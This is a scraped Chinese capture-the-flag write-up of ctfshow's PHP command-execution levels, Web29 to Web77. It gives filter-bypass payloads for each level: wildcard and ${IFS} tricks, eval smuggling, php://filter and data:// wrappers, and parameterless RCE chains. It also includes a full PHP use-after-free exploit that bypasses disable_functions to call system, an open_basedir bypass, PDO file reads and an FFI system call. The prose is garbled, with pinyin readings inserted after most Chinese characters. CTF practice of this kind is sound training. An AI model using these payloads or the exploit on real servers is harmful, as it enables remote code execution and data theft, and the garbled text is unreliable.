Web29:
? 簡(jiǎn)單的命令執(zhí)行,使用/i模式過(guò)濾大小寫(xiě)flag,可以使用通配符繞過(guò)過(guò)濾。
Web30:
? 比上一題多過(guò)濾system與php,可以使用其他函數(shù)來(lái)執(zhí)行命令,具體可以參考PHP中常見(jiàn)的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)_-passthru-CSDN博客
注意:
system(),passthru()自動(dòng)輸出結(jié)果
exec(),shell_exec()需要打印(echo/print)結(jié)果,且exec()僅打印最后一行
Web31:
? 多過(guò)濾cat,sort,shell,'.',空格,'''
? cat,sort可用其他查詢(xún)命令,如tac,nl等;使用passthru繞過(guò)命令執(zhí)行函數(shù);'''單引號(hào)使用雙引號(hào)繞過(guò)。
? 空格繞過(guò)可以寫(xiě)個(gè)腳本列出繞過(guò)空格的字符串一一進(jìn)行嘗試
"""
%20 空格
%09 TAB(水平)
%0a 新的一行
%0c 新的一頁(yè)
%od return
%ob TAB(垂直)
%a0 空格
/**/ sql注釋繞過(guò)
${IFS}
$IFS$9
"""
dit=('%20','%09','%0a','%0c','%0d','%a0','/**/','$IFS','${IFS}')
temp_payload="tac fla*"
for i in range(len(dit)):
payload=temp_payload.replace(' ',dit[i])
print("the replace str is:{}\n the replace payload is: {}".format(dit[i],payload))
print("-------------------------------------------------")
?
? payload:?c=passthru("tac%09fla*");
? 看其他師傅的wp(https://ctf.show/writeups/806344)發(fā)現(xiàn)還有好多其他方法:
方法一:
可以嘗試通過(guò)嵌套eval函數(shù)來(lái)獲取另一個(gè)參數(shù)的的方法來(lái)繞過(guò),因?yàn)檫@里只判斷了c這個(gè)參數(shù),并不會(huì)判斷其他參數(shù)的傳入
c=eval($_GET[a]);&a=system('cat flag.php');
這里注意后面是a的參數(shù),而不是c的參數(shù),這個(gè)payload共傳遞了兩個(gè)參數(shù),第一個(gè)為嵌套eval第二個(gè)為向嵌套的eval傳入?yún)?shù)
方法二(無(wú)參數(shù)rce):
可以利用已知的其他函數(shù)來(lái)湊出所需要的字符串來(lái)繞過(guò)
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化數(shù)字和貨幣格式信息的關(guān)聯(lián)數(shù)組。這里主要是返回?cái)?shù)組第一個(gè)"."
pos():輸出數(shù)組第一個(gè)元素,不改變指針;
scandir();遍歷目錄,這里因?yàn)閰?shù)為"."所以遍歷當(dāng)前目錄
array_reverse():元組倒置
next():將數(shù)組指針指向下一個(gè),這里其實(shí)可以省略倒置和改變數(shù)組指針,直接利用[2]取出數(shù)組也可以
show_source():查看源碼
Web32:
? 多過(guò)濾|`|echo|;|\(
? 沒(méi)有過(guò)濾include,可以使用include+偽協(xié)議進(jìn)行文件讀取
payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web33:
? 多過(guò)濾' " '(雙引號(hào)),方法同上
Web34:
? 多過(guò)濾' : ',include已經(jīng)將語(yǔ)句閉合,不影響后面?zhèn)螀f(xié)議代碼,payload同Web32
Web35:
? 多過(guò)濾' < ',' = ',payload同Web32
Web36:
? 多過(guò)濾' / ',數(shù)字,沒(méi)過(guò)濾字符,將Web32的payload1改成a繼續(xù)用
Web37:
? 題目使用include包含輸入,使用php的偽協(xié)議data進(jìn)行文件讀取
用法:
data://text/plain, data://text/plain;base64,
payload:?c=data://text/plain,<?php system('tac fla*');?>
Web38:
? 過(guò)濾php,file,使用短標(biāo)簽或者base64編碼繞過(guò)
<?= ?> == <?php echo?>
payload: ?c=data://text/plain,<?= system('tac fla*');?>
Web39:
? 強(qiáng)制給include添加后綴無(wú)法阻止偽協(xié)議內(nèi)的php代碼執(zhí)行,只會(huì)在代碼執(zhí)行后報(bào)錯(cuò)
? payload同上
Web40:
? 過(guò)濾大多數(shù)符號(hào)和數(shù)字,但是過(guò)濾的括號(hào)為中文括號(hào),所以可以使用無(wú)參數(shù)rce
參考師傅們的wp:
法一:
c=eval(array_pop(next(get_defined_vars())));//需要POST傳入?yún)?shù)為1=system('tac fl*');
get_defined_vars() 返回一個(gè)包含所有已定義變量的多維數(shù)組。這些變量包括環(huán)境變量、服務(wù)器變量和用戶(hù)定義的變量,例如GET、POST、FILE等等。
next()將內(nèi)部指針指向數(shù)組中的下一個(gè)元素,并輸出。
array_pop() 函數(shù)刪除數(shù)組中的最后一個(gè)元素并返回其值。
payload:
?c=eval(array_pop(next(get_defined_vars())));
Post: 1=system("tac flag.php")
法二:
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函數(shù)返回當(dāng)前工作目錄。它可以代替pos(localeconv())
payload:
c=show_source(next(array_reverse(scandir(getcwd()))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
Web41:
? 參考羽師傅博客
? 過(guò)濾字母,數(shù)字以及大部分運(yùn)算符,但未過(guò)濾或運(yùn)算符“|”,
? 可采用先從asscii碼中找到或運(yùn)算能得到可用的字符,然后從進(jìn)行異或的字符中排除掉被過(guò)濾的,然后在判斷異或得到的字符是否為可見(jiàn)字符。
Web42:
? 過(guò)濾如下:
/dev/null:將輸出的所有數(shù)據(jù)輸入進(jìn)一個(gè)不保存的臨時(shí)文件(無(wú)回顯)[黑洞文件]
2>&1:將錯(cuò)誤輸出重定向指向標(biāo)準(zhǔn)輸出,一并輸入進(jìn)臨時(shí)文件
? 使用;或者%09分隔為兩條命令,將后一條命令執(zhí)行結(jié)果輸入黑洞文件。
payload:c=tac flag.php;
Web43:
? 過(guò)濾' ; ','cat',可以使用%0a,||等進(jìn)行過(guò)濾
payload:c=tac flag.php||
Web44:
? 多過(guò)濾flag,通配符繞過(guò)
Web45:
? 多過(guò)濾空格,用${IFS}或者$IFS$9繞過(guò)
Web46:
? 多過(guò)濾數(shù)字,' $ ',' * '。
? 法一:雖然過(guò)濾了數(shù)字,但是仍然可以用%09來(lái)繞過(guò)空格,%09會(huì)先進(jìn)行url解碼再被過(guò)濾規(guī)則判斷。
? 法二:使用重定向符(' < ')將flag.php的內(nèi)容傳遞給tac進(jìn)行輸出。
? (使用重定向符后不能使用?不然不會(huì)回顯,可以使用\或者''進(jìn)行分隔)
“<”與“>”的用法:
在 Linux 命令行中,< 和 > 符號(hào)是用來(lái)進(jìn)行輸入輸出重定向的。它們的詳細(xì)用法如下:
< 符號(hào):將文件內(nèi)容作為命令的輸入
可以使用 < 符號(hào)將一個(gè)文件的內(nèi)容作為命令的輸入,例如:
$ cat < input.txt
上述命令將會(huì)把文件 input.txt 的內(nèi)容作為 cat 命令的輸入,然后輸出到終端。
> 符號(hào):將命令的輸出保存到文件中
可以使用 > 符號(hào)將命令的輸出保存到一個(gè)文件中,例如:
$ ls -l > output.txt
上述命令將會(huì)執(zhí)行 ls -l 命令,并將輸出結(jié)果保存到 output.txt 文件中。
>> 符號(hào):將命令的輸出追加到文件末尾
和 > 符號(hào)類(lèi)似,>> 符號(hào)可以將命令的輸出保存到一個(gè)文件中,但是它會(huì)將輸出內(nèi)容追加到文件末尾,而不是覆蓋文件原有的內(nèi)容,例如:
$ echo "Hello" >> output.txt
$ echo "World" >> output.txt
上述命令將會(huì)分別把字符串 "Hello" 和 "World" 追加到 output.txt 文件的末尾。
2> 和 2>> 符號(hào):將命令的錯(cuò)誤輸出保存到文件中
有些命令在執(zhí)行時(shí)可能會(huì)產(chǎn)生錯(cuò)誤輸出,可以使用 2> 和 2>> 符號(hào)將錯(cuò)誤輸出保存到一個(gè)文件中,例如:
$ ls -l /not/exist 2> error.txt
上述命令將會(huì)執(zhí)行 ls -l /not/exist 命令,但是由于 /not/exist 文件不存在,會(huì)產(chǎn)生一個(gè)錯(cuò)誤輸出,這個(gè)錯(cuò)誤輸出會(huì)被保存到 error.txt 文件中。
Web47-50:
? 多過(guò)濾一些查詢(xún)的命令,payload同Web46
Web51:
? 過(guò)濾tac,使用nl查詢(xún)
Web52:
? 過(guò)濾重定向符,但是' $ '放出來(lái)了,繼續(xù)使用${IFS}繞過(guò)空格,nl查看不在網(wǎng)站目錄,ls查看根目錄存在flag。
Web53:
? 添加命令的回顯,system()成功則返回命令輸出的最后一行,失敗則返回 false
?
payload:?c=nl${IFS}fla?.php
Web54:
? 使用正則匹配命令,可使用未過(guò)濾的uniq,grep進(jìn)行查找,也可以使用mv或者cp對(duì)文件重命名進(jìn)行訪(fǎng)問(wèn)
Web55:
? 過(guò)濾字符,可以使用通配符調(diào)用/bin/base64來(lái)對(duì)flag.php進(jìn)行輸出
payload:?c=/???/????64 ????.???
Web56:
? 字母數(shù)字全過(guò)濾,參考
Web57:
? 過(guò)濾數(shù)字字符,可以利用特性來(lái)構(gòu)建數(shù)字
echo ${_}:返回上一次命令的執(zhí)行結(jié)果,若上一次沒(méi)有命令輸出0
可用
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36在進(jìn)行取反
payload:
/?c=$((~$((]$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
Web58~65:
? php.ini在后臺(tái)對(duì)system,shell_exec等常見(jiàn)命令執(zhí)行函數(shù)進(jìn)行過(guò)濾,可以調(diào)用php內(nèi)置函數(shù)進(jìn)行文件讀取,參考
常見(jiàn)文件讀取函數(shù):
file_get_contents
fread
fgets
fgetss
file
parse_ini_file
readfile
highlight_file
show_source
<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024); // 參數(shù)為 resource 類(lèi)型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgets($file, 4096); // 過(guò)濾掉了 HTML 和 PHP 標(biāo)簽
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");
echo fgetss($file, 4096); // 過(guò)濾掉了 HTML 和 PHP 標(biāo)簽
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt"); // 看到不僅輸出了所有內(nèi)容,而且還輸出了總共長(zhǎng)度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt')); // 讀取結(jié)果為數(shù)組,所以需要用 print_r 或 var_dump
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt"); // 只能讀取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>
Web66:
? 使用highlight_file()讀取文件,目錄下的flag.php為假flag,調(diào)用print_r與scandir()來(lái)代替ls查看目錄,可以參考這篇文章看echo(),print(),print_r()的區(qū)別,簡(jiǎn)單來(lái)說(shuō)就是print_r可以打印數(shù)組。
web67:
? 比上題多過(guò)濾print_r();用var_dump()輸出
web68:
? 比上題多過(guò)濾highlight_file();用require()或者include()
web69:
? 比上題多過(guò)濾var_dump();用var_export()代替
冷門(mén)函數(shù)
打印函數(shù):print、echo
print和echo無(wú)法打印數(shù)組,利用implode函數(shù)將數(shù)組轉(zhuǎn)換成字符串再打印
查看目錄下文件:scandir
讀取函數(shù)readgzfile:可以讀取非gz格式的文件
payload:?c=echo(implode('---',scandir("/")));
?c=readgzfile('/flag.txt');
web70:
? 過(guò)濾 error_reporting(),ini_set();
? 同上
Web71:
? 查看源碼:
ob_get_contents — 返回輸出緩沖區(qū)的內(nèi)容
ob_end_clean — 清空(擦除)緩沖區(qū)并關(guān)閉輸出緩沖
先執(zhí)行$c,然后將結(jié)果放在緩沖區(qū),將緩沖區(qū)的所有字母和數(shù)字替換為?.
可以在執(zhí)行$c時(shí)使用die(),exit()直接退出緩沖區(qū)進(jìn)行輸出。
? 查看flag.php無(wú)返回,繼續(xù)使用var_export(scandir('/'))掃描目錄,include讀取文件。
Web72:
? 使用了open_basedir進(jìn)行文件訪(fǎng)問(wèn)限制,可以使用使用glob://偽協(xié)議繞過(guò)open_basedir,可以參考shu師傅的博客[ctfshow]web入門(mén)——命令執(zhí)行(web72-web77)_命令執(zhí)行 web72-CSDN博客
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
使用include()訪(fǎng)問(wèn)發(fā)現(xiàn)沒(méi)有權(quán)限,使用群里師傅們的uaf腳本進(jìn)行文件讀取
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
使用uaf腳本時(shí)記得對(duì)內(nèi)容進(jìn)行url編碼
web73:
同上,掃描出來(lái)文件名為flagc.txt,但是可以直接include()包含
web74:
同上,掃描出來(lái)文件名為flagx.txt,但是可以直接include()包含
Web75:
? 過(guò)濾include;
? 法一:uaf strlen()函數(shù)被過(guò)濾,應(yīng)該可以重寫(xiě)strlen()函數(shù)過(guò)濾
? 法二:用PDO連接數(shù)據(jù)庫(kù)進(jìn)行查詢(xún)
先查詢(xún)文件名
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
web76:
? 同上,文件名為flag36d.txt.文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-750497.html
web77:
? 關(guān)閉PDO連接數(shù)據(jù)庫(kù),使用FFi調(diào)用c語(yǔ)言來(lái)實(shí)現(xiàn)命令執(zhí)行文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-750497.html
$ffi = FFI::cdef("int system(const char *command);");//創(chuàng)建一個(gè)system對(duì)象
$a='/readflag > 1.txt';//沒(méi)有回顯的
$ffi->system($a);//通過(guò)$ffi去調(diào)用system函數(shù)
訪(fǎng)問(wèn)1.txt
到了這里,關(guān)于ctfshow-Web入門(mén)-命令執(zhí)行wp的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!